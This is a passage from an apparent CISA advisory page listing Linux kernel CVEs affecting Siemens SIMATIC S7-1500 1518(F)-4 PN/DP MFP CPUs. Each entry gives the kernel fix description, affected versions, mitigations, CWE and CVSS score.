<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58056</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: remoteproc: core: Fix ida_free call while not allocated In the rproc_alloc() function, on error, put_device(&amp;rproc-&gt;dev) is called, leading to the call of the rproc_type_release() function. An error can occurs before ida_alloc is called. In such case in rproc_type_release(), the condition (rproc-&gt;index &gt;= 0) is true as rproc-&gt;index has been initialized to 0. ida_free() is called reporting a warning: [ 4.181906] WARNING: CPU: 1 PID: 24 at lib/idr.c:525 ida_free+0x100/0x164 [ 4.186378] stm32-display-dsi 5a000000.dsi: Fixed dependency cycle(s) with /soc/dsi@5a000000/panel@0 [ 4.188854] ida_free called for id=0 which is not allocated. [ 4.198256] mipi-dsi 5a000000.dsi.0: Fixed dependency cycle(s) with /soc/dsi@5a000000 [ 4.203556] Modules linked in: panel_orisetech_otm8009a dw_mipi_dsi_stm(+) gpu_sched dw_mipi_dsi stm32_rproc stm32_crc32 stm32_ipcc(+) optee(+) [ 4.224307] CPU: 1 UID: 0 PID: 24 Comm: kworker/u10:0 Not tainted 6.12.0 #442 [ 4.231481] Hardware name: STM32 (Device Tree Support) [ 4.236627] Workqueue: events_unbound deferred_probe_work_func [ 4.242504] Call trace: [ 4.242522] unwind_backtrace from show_stack+0x10/0x14 [ 4.250218] show_stack from dump_stack_lvl+0x50/0x64 [ 4.255274] dump_stack_lvl from __warn+0x80/0x12c [ 4.260134] __warn from warn_slowpath_fmt+0x114/0x188 [ 4.265199] warn_slowpath_fmt from ida_free+0x100/0x164 [ 4.270565] ida_free from rproc_type_release+0x38/0x60 [ 4.275832] rproc_type_release from device_release+0x30/0xa0 [ 4.281601] device_release from kobject_put+0xc4/0x294 [ 4.286762] kobject_put from rproc_alloc.part.0+0x208/0x28c [ 4.292430] rproc_alloc.part.0 from devm_rproc_alloc+0x80/0xc4 [ 4.298393] devm_rproc_alloc from stm32_rproc_probe+0xd0/0x844 [stm32_rproc] [ 4.305575] stm32_rproc_probe [stm32_rproc] from platform_probe+0x5c/0xbc Calling ida_alloc earlier in rproc_alloc ensures that the rproc-&gt;index is properly set.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58056">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58058</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ubifs: skip dumping tnc tree when zroot is null Clearing slab cache will free all znode in memory and make c-&gt;zroot.znode = NULL, then dumping tnc tree will access c-&gt;zroot.znode which cause null pointer dereference.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58058">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58061</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: prohibit deactivating all links In the internal API this calls this is a WARN_ON, but that should remain since internally we want to know about bugs that may cause this. Prevent deactivating all links in the debugfs write directly.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58061">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58086</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: drm/v3d: Stop active perfmon if it is being destroyed If the active performance monitor (`v3d-&gt;active_perfmon`) is being destroyed, stop it first. Currently, the active perfmon is not stopped during destruction, leaving the `v3d-&gt;active_perfmon` pointer stale. This can lead to undefined behavior and instability. This patch ensures that the active perfmon is stopped before being destroyed, aligning with the behavior introduced in commit 7d1fd3638ee3 ("drm/v3d: Stop the active perfmon before being destroyed").</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58086">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21645</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: platform/x86/amd/pmc: Only disable IRQ1 wakeup where i8042 actually enabled it Wakeup for IRQ1 should be disabled only in cases where i8042 had actually enabled it, otherwise "wake_depth" for this IRQ will try to drop below zero and there will be an unpleasant WARN() logged: kernel: atkbd serio0: Disabling IRQ1 wakeup source to avoid platform firmware bug kernel: ------------[ cut here ]------------ kernel: Unbalanced IRQ 1 wake disable kernel: WARNING: CPU: 10 PID: 6431 at kernel/irq/manage.c:920 irq_set_irq_wake+0x147/0x1a0 The PMC driver uses DEFINE_SIMPLE_DEV_PM_OPS() to define its dev_pm_ops which sets amd_pmc_suspend_handler() to the .suspend, .freeze, and .poweroff handlers. i8042_pm_suspend(), however, is only set as the .suspend handler. Fix the issue by call PMC suspend handler only from the same set of dev_pm_ops handlers as i8042_pm_suspend(), which currently means just the .suspend handler. To reproduce this issue try hibernating (S4) the machine after a fresh boot without putting it into s2idle first. [ij: edited the commit message.]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21645">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21648</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: conntrack: clamp maximum hashtable size to INT_MAX Use INT_MAX as maximum size for the conntrack hashtable. Otherwise, it is possible to hit WARN_ON_ONCE in __kvmalloc_node_noprof() when resizing hashtable because __GFP_NOWARN is unset. See: 0708a0afe291 ("mm: Consider __GFP_NOWARN flag for oversized kvmalloc() calls") Note: hashtable resize is only possible from init_netns.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21648">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/789.html">CWE-789 Memory Allocation with Excessive Size Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21655</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: io_uring/eventfd: ensure io_eventfd_signal() defers another RCU period io_eventfd_do_signal() is invoked from an RCU callback, but when dropping the reference to the io_ev_fd, it calls io_eventfd_free() directly if the refcount drops to zero. This isn't correct, as any potential freeing of the io_ev_fd should be deferred another RCU grace period. Just call io_eventfd_put() rather than open-code the dec-and-test and free, which will correctly defer it another RCU grace period.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21655">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21676</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fec: handle page_pool_dev_alloc_pages error The fec_enet_update_cbd function calls page_pool_dev_alloc_pages but did not handle the case when it returned NULL. There was a WARN_ON(!new_page) but it would still proceed to use the NULL pointer and then crash. This case does seem somewhat rare but when the system is under memory pressure it can happen. One case where I can duplicate this with some frequency is when writing over a smbd share to a SATA HDD attached to an imx6q. Setting /proc/sys/vm/min_free_kbytes to higher values also seems to solve the problem for my test case. But it still seems wrong that the fec driver ignores the memory allocation error and can crash. This commit handles the allocation error by dropping the current packet.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21676">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21682</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: eth: bnxt: always recalculate features after XDP clearing, fix null-deref Recalculate features when XDP is detached. Before: # ip li set dev eth0 xdp obj xdp_dummy.bpf.o sec xdp # ip li set dev eth0 xdp off # ethtool -k eth0 | grep gro rx-gro-hw: off [requested on] After: # ip li set dev eth0 xdp obj xdp_dummy.bpf.o sec xdp # ip li set dev eth0 xdp off # ethtool -k eth0 | grep gro rx-gro-hw: on The fact that HW-GRO doesn't get re-enabled automatically is just a minor annoyance. The real issue is that the features will randomly come back during another reconfiguration which just happens to invoke netdev_update_features(). The driver doesn't handle reconfiguring two things at a time very robustly. Starting with commit 98ba1d931f61 ("bnxt_en: Fix RSS logic in __bnxt_reserve_rings()") we only reconfigure the RSS hash table if the "effective" number of Rx rings has changed. If HW-GRO is enabled "effective" number of rings is 2x what user sees. So if we are in the bad state, with HW-GRO re-enablement "pending" after XDP off, and we lower the rings by / 2 - the HW-GRO rings doing 2x and the ethtool -L doing / 2 may cancel each other out, and the: if (old_rx_rings != bp-&gt;hw_resc.resv_rx_rings &amp;&amp; condition in __bnxt_reserve_rings() will be false. The RSS map won't get updated, and we'll crash with: BUG: kernel NULL pointer dereference, address: 0000000000000168 RIP: 0010:__bnxt_hwrm_vnic_set_rss+0x13a/0x1a0 bnxt_hwrm_vnic_rss_cfg_p5+0x47/0x180 __bnxt_setup_vnic_p5+0x58/0x110 bnxt_init_nic+0xb72/0xf50 __bnxt_open_nic+0x40d/0xab0 bnxt_open_nic+0x2b/0x60 ethtool_set_channels+0x18c/0x1d0 As we try to access a freed ring. The issue is present since XDP support was added, really, but prior to commit 98ba1d931f61 ("bnxt_en: Fix RSS logic in __bnxt_reserve_rings()") it wasn't causing major issues.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21682">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
